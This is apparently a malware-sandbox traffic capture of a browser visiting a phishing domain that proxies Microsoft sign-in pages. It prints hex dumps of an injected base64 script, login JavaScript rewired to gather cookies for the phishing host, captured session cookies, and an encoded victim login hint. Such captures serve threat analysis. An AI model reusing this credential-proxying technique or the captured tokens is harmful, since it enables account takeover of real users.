esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; domain=sharedfile4rom1nternet.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; expires=Sat, 21-Dec-2024 13:45:10 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 21 Nov 2024 13:45:09 GMT Connection: close content-length: 42465 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:11 UTC	13243	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 37 65 38 71 67 76 48 66 59 65 52 51 30 77 31 49 76 69 78 6a 63 35 57 55 31 61 66 63 48 48 59 67 70 63 4e 48 63 45 37 44 4a 57 74 44 48 5f 54 35 63 39 37 2d 49 6a 76 34 65 4c 73 39 51 4e 68 64 4a 4b 34 5f 32 7a 38 76 73 47 49 52 39 77 67 66 2d 74 73 43 69 34 6a 49 6c 45 66 57 79 33 2d 66 6e 46 4b 76 41 58 7a 32 5a 4b 6d 35 36 41 6e 53 6c 5f 45 72 54 35 63 71 69 56 2d 6c 52 58 39 48 7a 73 72 69 6a 6d 42 43 56 38 6b 53 31 5a 73 30 6f 34 36 45 46 6e 66 42 79 4e 75 77 4d 6e 6d 79 4b 4b 70 35 46 78 6c 49 55 4c 4d 34 49 41 41 22 2c 22 49 73 53 69 67 6e 75 70 44 69 73 61 6c 6c 6f 77 65 64 22 3a 74 72 75 65 7d 2c 22 66 55 73 65 4e 65 77 4e 6f 50 61 73 73 77 6f 72 64 54 79 70 65 73 22 3a 74 72 75 65 2c 22 75 72 6c 41 61 64 53 69 67 6e 75 70 22 3a 22 68 74 74 70 73 Data Ascii: 7e8qgvHfYeRQ0w1Ivixjc5WU1afcHHYgpcNHcE7DJWtDH_T5c97-Ijv4eLs9QNhdJK4_2z8vsGIR9wgf-tsCi4jIlEfWy3-fnFKvAXz2ZKm56AnSl_ErT5cqiV-lRX9HzsrijmBCV8kS1Zs0o46EFnfByNuwMnmyKKp5FxlIULM4IAA","IsSignupDisallowed":true},"fUseNewNoPasswordTypes":true,"urlAadSignup":"https
2024-11-21 13:45:11 UTC	12838	IN	Data Raw: 29 7b 28 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 7c 7c 22 6c 6f 61 64 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 72 2e 72 65 61 64 79 53 74 61 74 65 29 26 26 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 0a 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6f 2c 21 31 29 2c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 72 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 28 72 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6f 29 2c 65 2e 64 65 74 61 63 68 45 76 65 6e Data Ascii: ){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEven

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49759	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:09 UTC	2372	OUT	GET /favicon.ico HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-21 13:45:10 UTC	1172	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 89666e8f-345e-40c1-bbd0-153139721300 x-ms-ests-server: 2.1.19395.9 - SEC ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Thu, 21 Nov 2024 13:45:09 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49760	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:10 UTC	1222	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-21 13:45:11 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4274218 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:10 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (ska/F6D5) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 0753991b-e01e-00b1-213b-154adb000000 x-ms-version: 2009-09-19 content-length: 142382 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:11 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 74 28 22 73 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 74 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 43 3d 74 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 74 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 2c 41 26 26 21 43 26 26 Data Ascii: t("span");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var t=_.getComputedStyle(e);C=t.borderLeftColor===t.borderRightColor,document.body.removeChild(e),A&&!C&&
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 54 49 4c 45 5f 55 52 4c 3a 22 54 69 6c 65 55 72 6c 22 2c 43 49 44 3a 22 43 49 44 22 2c 50 55 49 44 3a 22 50 55 49 44 22 7d 2c 74 2e 44 45 46 41 55 4c 54 5f 43 48 41 4e 4e 45 4c 5f 49 44 3d 22 35 33 65 65 32 38 34 64 2d 39 32 30 61 2d 34 62 35 39 2d 39 64 33 30 2d 61 36 30 33 31 35 62 32 36 38 33 36 22 2c 74 2e 44 45 46 41 55 4c 54 5f 50 52 45 46 45 52 52 45 44 5f 45 58 54 45 4e 53 49 4f 4e 5f 49 44 3d 22 70 70 6e 62 6e 70 65 6f 6c 67 6b 69 63 67 65 67 6b 62 6b 62 6a 6d 68 6c 69 64 65 6f 70 69 6a 69 22 2c 74 2e 57 65 62 4e 61 74 69 76 65 42 72 69 64 67 65 53 75 63 63 65 73 73 3d 22 53 75 63 63 65 73 73 22 2c 74 2e 44 46 50 50 72 65 66 69 78 3d 22 64 66 70 3a 22 2c 74 2e 45 72 72 6f 72 3d 7b 53 5f 4f 4b 3a 22 30 22 2c 49 6e 76 61 6c 69 64 52 65 61 6c 6d 44 Data Ascii: TILE_URL:"TileUrl",CID:"CID",PUID:"PUID"},t.DEFAULT_CHANNEL_ID="53ee284d-920a-4b59-9d30-a60315b26836",t.DEFAULT_PREFERRED_EXTENSION_ID="ppnbnpeolgkicgegkbkbjmhlideopiji",t.WebNativeBridgeSuccess="Success",t.DFPPrefix="dfp:",t.Error={S_OK:"0",InvalidRealmD
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 3d 6a 51 75 65 72 79 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6f 3d 5b 74 2c 6e 5d 2c 28 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 72 3d 61 29 3f 72 2e 61 70 70 6c 79 28 74 2c 6f 29 3a 72 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 7c 7c 28 65 2e 65 78 70 6f 72 74 73 3d 69 29 7d 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 65 7c 7c 74 79 70 65 6f 66 20 65 20 69 6e 20 43 29 26 26 65 3d 3d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 28 6e 3d 53 2e 61 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 61 2c 65 28 29 7d 29 2c 74 29 Data Ascii: =jQuery),function(a){o=[t,n],(i="function"==typeof(r=a)?r.apply(t,o):r)===undefined\|\|(e.exports=i)}((function(e,t){function n(e,t){return(null===e\|\|typeof e in C)&&e===t}function r(e,t){var n;return function(){n\|\|(n=S.a.setTimeout((function(){n=a,e()}),t)
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 73 2e 71 63 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 26 26 73 2e 4a 61 7c 7c 28 61 3d 21 6e 29 2c 73 2e 65 64 3d 73 2e 55 2e 63 68 61 6e 67 65 2e 73 6c 69 63 65 28 30 29 2c 73 2e 4a 61 3d 74 3d 21 30 2c 6f 3d 65 2c 63 28 29 7d 2c 73 2e 70 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 7c 7c 28 72 3d 65 2c 73 2e 67 62 28 65 2c 22 62 65 66 6f 72 65 43 68 61 6e 67 65 22 29 29 7d 2c 73 2e 72 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 3d 21 30 7d 2c 73 2e 67 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 73 62 28 72 2c 73 2e 76 28 21 30 29 29 26 26 28 6e 3d 21 30 29 7d 7d 2c 57 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 55 5b 65 5d 26 26 74 68 69 73 2e 55 5b 65 5d 2e 6c 65 6e 67 74 68 7d 2c 42 64 3a 66 75 6e 63 74 69 6f 6e Data Ascii: s.qc=function(e,n){n&&s.Ja\|\|(a=!n),s.ed=s.U.change.slice(0),s.Ja=t=!0,o=e,c()},s.pc=function(e){t\|\|(r=e,s.gb(e,"beforeChange"))},s.rc=function(){a=!0},s.gd=function(){s.sb(r,s.v(!0))&&(n=!0)}},Wa:function(e){return this.U[e]&&this.U[e].length},Bd:function
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 66 28 73 5b 53 2e 61 2e 52 28 6e 29 5d 29 7b 76 61 72 20 6f 3d 6e 2e 66 69 72 73 74 43 68 69 6c 64 3b 69 66 28 6f 29 64 6f 7b 69 66 28 31 3d 3d 3d 6f 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 69 2c 61 3d 6e 75 6c 6c 3b 69 66 28 69 3d 6f 2e 66 69 72 73 74 43 68 69 6c 64 29 64 6f 7b 69 66 28 61 29 61 2e 70 75 73 68 28 69 29 3b 65 6c 73 65 20 69 66 28 65 28 69 29 29 7b 76 61 72 20 75 3d 72 28 69 2c 21 30 29 3b 75 3f 69 3d 75 3a 61 3d 5b 69 5d 7d 65 6c 73 65 20 74 28 69 29 26 26 28 61 3d 5b 69 5d 29 7d 77 68 69 6c 65 28 69 3d 69 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 3b 69 66 28 69 3d 61 29 66 6f 72 28 61 3d 6f 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 75 3d 30 3b 75 3c 69 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 61 3f 6e 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 Data Ascii: f(s[S.a.R(n)]){var o=n.firstChild;if(o)do{if(1===o.nodeType){var i,a=null;if(i=o.firstChild)do{if(a)a.push(i);else if(e(i)){var u=r(i,!0);u?i=u:a=[i]}else t(i)&&(a=[i])}while(i=i.nextSibling);if(i=a)for(a=o.nextSibling,u=0;u<i.length;u++)a?n.insertBefore(
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6f 2c 69 2c 61 29 7b 76 61 72 20 73 2c 75 2c 63 2c 6c 2c 64 2c 66 3d 7b 7d 3b 69 66 28 74 29 7b 69 3d 6f 2e 67 65 74 28 22 61 73 22 29 3b 76 61 72 20 70 3d 6f 2e 67 65 74 28 22 6e 6f 43 68 69 6c 64 43 6f 6e 74 65 78 74 22 29 3b 66 3d 7b 61 73 3a 69 2c 6e 6f 43 68 69 6c 64 43 6f 6e 74 65 78 74 3a 70 2c 65 78 70 6f 72 74 44 65 70 65 6e 64 65 6e 63 69 65 73 3a 64 3d 21 28 69 26 26 70 29 7d 7d 72 65 74 75 72 6e 20 6c 3d 28 63 3d 22 72 65 6e 64 65 72 22 3d 3d 6f 2e 67 65 74 28 22 63 6f 6d 70 6c 65 74 65 4f 6e 22 29 29 7c 7c 6f 2e 68 61 73 28 53 2e 69 2e 70 61 29 2c 53 2e 6f 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 2c 69 3d 53 2e 61 2e 66 28 72 28 29 29 2c 70 3d 21 6e 21 3d 21 69 2c 68 3d 21 75 3b 28 64 7c 7c Data Ascii: function(e,r,o,i,a){var s,u,c,l,d,f={};if(t){i=o.get("as");var p=o.get("noChildContext");f={as:i,noChildContext:p,exportDependencies:d=!(i&&p)}}return l=(c="render"==o.get("completeOn"))\|\|o.has(S.i.pa),S.o((function(){var o,i=S.a.f(r()),p=!n!=!i,h=!u;(d\|\|
2024-11-21 13:45:11 UTC	16384	IN	Data Raw: 45 3c 6f 2e 6c 65 6e 67 74 68 3b 29 64 28 43 2b 2b 29 3b 79 2e 5f 63 6f 75 6e 74 57 61 69 74 69 6e 67 46 6f 72 52 65 6d 6f 76 65 3d 78 7d 53 2e 61 2e 67 2e 73 65 74 28 72 2c 74 2c 79 29 2c 66 28 73 2e 62 65 66 6f 72 65 4d 6f 76 65 2c 41 29 2c 53 2e 61 2e 44 28 77 2c 73 2e 62 65 66 6f 72 65 52 65 6d 6f 76 65 3f 53 2e 6f 61 3a 53 2e 72 65 6d 6f 76 65 4e 6f 64 65 29 3b 74 72 79 7b 6d 3d 72 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7d 63 61 74 63 68 28 49 29 7b 7d 69 66 28 50 2e 6c 65 6e 67 74 68 29 66 6f 72 28 3b 28 4f 3d 50 2e 73 68 69 66 74 28 29 29 21 3d 61 3b 29 7b 66 6f 72 28 70 3d 79 5b 4f 5d 2c 68 3d 61 3b 4f 3b 29 69 66 28 28 67 3d 79 5b 2d 2d 4f 5d 2e 59 29 26 26 67 2e 6c 65 6e 67 74 68 29 7b 68 3d 67 5b 67 Data Ascii: E<o.length;)d(C++);y._countWaitingForRemove=x}S.a.g.set(r,t,y),f(s.beforeMove,A),S.a.D(w,s.beforeRemove?S.oa:S.removeNode);try{m=r.ownerDocument.activeElement}catch(I){}if(P.length)for(;(O=P.shift())!=a;){for(p=y[O],h=a;O;)if((g=y[--O].Y)&&g.length){h=g[g
2024-11-21 13:45:11 UTC	12653	IN	Data Raw: 3d 3d 61 26 26 28 65 3d 6e 65 77 20 75 28 7b 6c 6f 67 4d 65 73 73 61 67 65 3a 62 2c 6c 6f 67 44 61 74 61 50 6f 69 6e 74 3a 79 7d 2c 6e 2e 6e 6f 6e 6f 6e 63 65 2c 22 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 22 2c 6f 2c 69 29 2e 67 65 74 43 6f 6f 6b 69 65 73 41 73 79 6e 63 28 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 7c 7c 21 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 73 2e 72 65 6a 65 63 74 28 6e 65 77 20 75 2e 45 72 72 6f 72 28 22 50 61 67 65 45 78 63 65 70 74 69 6f 6e 22 2c 22 45 78 74 65 6e 73 69 6f 6e 20 72 65 74 75 72 6e 65 64 20 6e 6f 20 63 6f 6f 6b 69 65 73 22 29 29 3b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 65 2e 6c 65 6e 67 74 68 3b 74 3c 6e 3b 2b 2b 74 29 7b 76 61 72 20 Data Ascii: ==a&&(e=new u({logMessage:b,logDataPoint:y},n.nononce,"sharedfile4rom1nternet.com",o,i).getCookiesAsync().then((function(e){if(!e\|\|!e.length)return s.reject(new u.Error("PageException","Extension returned no cookies"));for(var t=0,n=e.length;t<n;++t){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49762	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
